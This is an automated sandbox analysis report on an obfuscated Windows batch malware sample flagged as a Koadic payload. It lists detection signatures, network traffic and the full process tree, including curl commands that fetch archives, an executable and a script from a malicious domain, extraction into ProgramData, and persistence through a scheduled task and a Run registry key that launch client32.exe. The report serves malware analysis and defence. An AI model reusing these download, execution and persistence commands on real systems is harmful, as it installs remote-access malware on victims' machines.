Edit tour

Windows Analysis Report
VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat

Overview

General Information

Sample Name:	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat
Analysis ID:	1275249
MD5:	4b2794840b114be5011da81ad4c462d8
SHA1:	66cf9461efa6fb1e55af037515121d2a856670ac
SHA256:	60dbaed2358a02ed2102cc2158c05fce9bba87674d68f1114198423bd8460a93
Tags:	1BATSTARTER5-252-178-48batnetsupportponraj-com
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Command shell drops VBS files

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Creates a DirectInput object (often for capturing keystrokes)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Uses reg.exe to modify the Windows registry

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6996 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat" " MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 7140 cmdline: cmd.exe /c C:\ProgramData\sett.bat" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

curl.exe (PID: 7132 cmdline: curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z" -o "C:\ProgramData\tempy.7z" MD5: BDEBD2FC4927DA00EEA263AF9CF8F7ED)

cmd.exe (PID: 4680 cmdline: cmd.exe /c C:\ProgramData\7z.bat" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

curl.exe (PID: 4776 cmdline: curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe" MD5: BDEBD2FC4927DA00EEA263AF9CF8F7ED)

cmd.exe (PID: 5568 cmdline: cmd.exe /c C:\ProgramData\2.bat" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

curl.exe (PID: 5552 cmdline: curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat" MD5: BDEBD2FC4927DA00EEA263AF9CF8F7ED)

xcopy.exe (PID: 3188 cmdline: xcopy /h /y lol.7z C:\ProgramData\ MD5: 6BC7DB1465BEB7607CBCBD7F64007219)

cmd.exe (PID: 4008 cmdline: cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\ MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

7zz.exe (PID: 5920 cmdline: C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\ MD5: 42BADC1D2F03A8B1E4875740D3D49336)

timeout.exe (PID: 5948 cmdline: TIMEOUT /T 3 MD5: EB9A65078396FB5D4E3813BB9198CB18)

schtasks.exe (PID: 628 cmdline: SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00 MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

cmd.exe (PID: 3224 cmdline: cmd /c C:\ProgramData\client32.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

reg.exe (PID: 1720 cmdline: reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 5964 cmdline: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f MD5: E3DACF0B31841FA02064B4457D44B357)

cmd.exe (PID: 4884 cmdline: cmd.exe /c C:\ProgramData\2.bat" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

xcopy.exe (PID: 4204 cmdline: xcopy /h /y 7zz.exe C:\ProgramData\ MD5: 6BC7DB1465BEB7607CBCBD7F64007219)

xcopy.exe (PID: 1368 cmdline: xcopy /h /y lol.7z C:\ProgramData\ MD5: 6BC7DB1465BEB7607CBCBD7F64007219)

cmd.exe (PID: 424 cmdline: cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\ MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

7zz.exe (PID: 6752 cmdline: C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\ MD5: 42BADC1D2F03A8B1E4875740D3D49336)

timeout.exe (PID: 6756 cmdline: TIMEOUT /T 3 MD5: EB9A65078396FB5D4E3813BB9198CB18)

schtasks.exe (PID: 6780 cmdline: SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00 MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

cmd.exe (PID: 7132 cmdline: cmd /c C:\ProgramData\client32.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

reg.exe (PID: 4756 cmdline: reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 3184 cmdline: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f MD5: E3DACF0B31841FA02064B4457D44B357)

cmd.exe (PID: 5844 cmdline: cmd.exe /c C:\ProgramData\client32.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4748 cmdline: cmd.exe /c C:\ProgramData\client32.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 1368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x5d:$s2: :~35,1%% 0x6a:$s2: :~63,1%% 0x77:$s2: :~8,1%% 0x83:$s2: :~38,1%% 0x90:$s2: :~37,1%% 0x9d:$s2: :~4,1%% 0xa9:$s2: :~37,1%% 0xb6:$s2: :~25,1%% 0xc3:$s2: :~25,1% 0xd4:$s2: :~4,1%% 0xe0:$s2: :~60,1%% 0xed:$s2: :~51,1%% 0xfa:$s2: :~51,1%% 0x107:$s2: :~25,1%% 0x114:$s2: :~34,1%% 0x121:$s2: :~28,1%% 0x12e:$s2: :~25,1%% 0x144:$s2: :~34,1%% 0x151:$s2: :~28,1%% 0x15e:$s2: :~25,1%%

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat

Virustotal: Detection: 25%

Perma Link

Antivirus detection for URL or domain

Source: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z-oC:	Avira URL Cloud: Label: malware
Source: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-oC:	Avira URL Cloud: Label: malware
Source: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z	Avira URL Cloud: Label: malware
Source: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	Avira URL Cloud: Label: malware
Source: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat-oC:	Avira URL Cloud: Label: malware
Source: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: ponraj.com	Virustotal: Detection: 10%	Perma Link
Source: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	Virustotal: Detection: 14%	Perma Link
Source: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z	Virustotal: Detection: 14%	Perma Link
Source: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat	Virustotal: Detection: 12%	Perma Link

Source: unknown	HTTPS traffic detected: 188.127.225.160:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.225.160:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.225.160:443 -> 192.168.2.7:49702 version: TLS 1.2

Source: C:\ProgramData\7zz.exe

Code function: 11_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,

11_2_0040B174

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View

IP Address: 188.127.225.160 188.127.225.160

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: curl.exe, 00000007.00000002.352429537.0000027DEA560000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000002.352507091.0000027DEA59A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000003.351831530.0000027DEA59A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000003.351915130.0000027DEA59A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat
Source: curl.exe, 00000007.00000002.352429537.0000027DEA560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat-oC:
Source: curl.exe, 00000005.00000002.350188513.000001F62E810000.00000004.00000020.00020000.00000000.sdmp, 7z.bat.0.dr	String found in binary or memory: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe
Source: curl.exe, 00000005.00000002.350188513.000001F62E810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-oC:
Source: curl.exe, 00000003.00000003.347039807.000001F73756F000.00000004.00000020.00020000.00000000.sdmp, sett.bat.0.dr	String found in binary or memory: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z
Source: curl.exe, 00000003.00000002.347263567.000001F737550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z-oC:

Source: unknown

DNS traffic detected: queries for: ponraj.com

Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z HTTP/1.1Host: ponraj.comUser-Agent: curl/7.55.1Accept: /
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe HTTP/1.1Host: ponraj.comUser-Agent: curl/7.55.1Accept: /
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat HTTP/1.1Host: ponraj.comUser-Agent: curl/7.55.1Accept: /

Source: unknown	HTTPS traffic detected: 188.127.225.160:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.225.160:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.225.160:443 -> 192.168.2.7:49702 version: TLS 1.2

Source: 7zz.exe, 0000000B.00000002.353881383.00000000006BA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat, type: SAMPLE

Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen

Source: VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat, type: SAMPLE

Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload

Source: C:\ProgramData\7zz.exe	Code function: 11_2_00403A70	11_2_00403A70
Source: C:\ProgramData\7zz.exe	Code function: 11_2_004442E0	11_2_004442E0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_004285AD	11_2_004285AD
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00448730	11_2_00448730
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0044CA40	11_2_0044CA40
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00454B10	11_2_00454B10
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00458B30	11_2_00458B30
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00450BD0	11_2_00450BD0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00434D28	11_2_00434D28
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00460DF8	11_2_00460DF8
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00451050	11_2_00451050
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00459170	11_2_00459170
Source: C:\ProgramData\7zz.exe	Code function: 11_2_004311FE	11_2_004311FE
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00449460	11_2_00449460
Source: C:\ProgramData\7zz.exe	Code function: 11_2_004514F0	11_2_004514F0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_004217DA	11_2_004217DA
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00441925	11_2_00441925
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0042DBB6	11_2_0042DBB6
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00459E70	11_2_00459E70
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00461EF0	11_2_00461EF0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00459F80	11_2_00459F80
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0045E0C0	11_2_0045E0C0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0046A2A0	11_2_0046A2A0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0044A440	11_2_0044A440
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0046A460	11_2_0046A460
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0044E430	11_2_0044E430
Source: C:\ProgramData\7zz.exe	Code function: 11_2_004465E0	11_2_004465E0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0044A7E0	11_2_0044A7E0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00456830	11_2_00456830
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0046A950	11_2_0046A950
Source: C:\ProgramData\7zz.exe	Code function: 11_2_004469A0	11_2_004469A0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_004729A3	11_2_004729A3
Source: C:\ProgramData\7zz.exe	Code function: 11_2_0045EA60	11_2_0045EA60
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00472B30	11_2_00472B30
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00472C0B	11_2_00472C0B
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00456CF0	11_2_00456CF0
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00466E30	11_2_00466E30
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00447150	11_2_00447150
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00467220	11_2_00467220

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Source: C:\ProgramData\7zz.exe	Code function: String function: 0046B890 appears 473 times
Source: C:\ProgramData\7zz.exe	Code function: String function: 00407A18 appears 147 times

Source: VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat

Virustotal: Detection: 25%

Source: C:\Windows\System32\curl.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z" -o "C:\ProgramData\tempy.7z"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y lol.7z C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y lol.7z C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z" -o "C:\ProgramData\tempy.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y lol.7z C:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y lol.7z C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7116:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1368:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5768:120:WilError_01

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user~1\AppData\Local\Temp\b1.vbs

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat" "

Source: classification engine

Classification label: mal84.winBAT@54/15@3/1

Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\ProgramData\7zz.exe	Code function: 11_2_0046CC80 push eax; ret		11_2_0046CCAE
Source: C:\ProgramData\7zz.exe	Code function: 11_2_00459590 push ecx; mov dword ptr [esp], ecx		11_2_00459591

Source: 7zz.exe.5.dr

Static PE information: section name: .sxdata

Source: C:\ProgramData\7zz.exe

Code function: 11_2_00471C24 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00471C24

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user~1\AppData\Local\Temp\b1.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user~1\AppData\Local\Temp\b2.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user~1\AppData\Local\Temp\b3.vbs	Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
